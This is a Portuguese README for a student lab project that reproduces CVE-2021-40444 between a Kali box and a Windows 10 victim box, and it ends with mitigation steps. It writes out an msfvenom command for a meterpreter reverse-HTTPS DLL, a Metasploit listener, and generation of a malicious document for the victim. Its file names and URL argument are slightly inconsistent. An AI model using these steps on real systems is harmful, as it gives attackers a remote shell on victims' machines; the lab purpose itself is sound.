TIC4301_Project
Projeto TIC4301 - CVE-2021-40444
Baixe as seguintes boxes do vagrant:
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing
Importe as boxes com os seguintes comandos através do vagrant:
- vagrant box add kali_package.box
- vagrant box add victim_package.box
- vagrant init kali_package.box
- vagrant init victim_package.box
- vagrant up
Configuração (win10):
- Na box win10, faça login como administrador com a senha vagrant.
- Clique com o botão direito em script.ps1 na área de trabalho e execute com o powershell. (Deixe-o aberto)
- Execute ipconfig.exe e obtenha o endereço deste host.
Configuração (Kali):
- cd Desktop/CVE-2021-40444.
- gere sua dll maliciosa com o msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
- inicie um listener no metasploit.
- gere o documento malicioso. # python3 exploit.py generate test/calc.dll http://
- visite http://<win 10 IP>/upload e envie o arquivo.
- aguarde a shell.
Mitigações:
- Instale o hotfix KB5005565.
- Edite o registro do Windows com o patch.reg no repositório.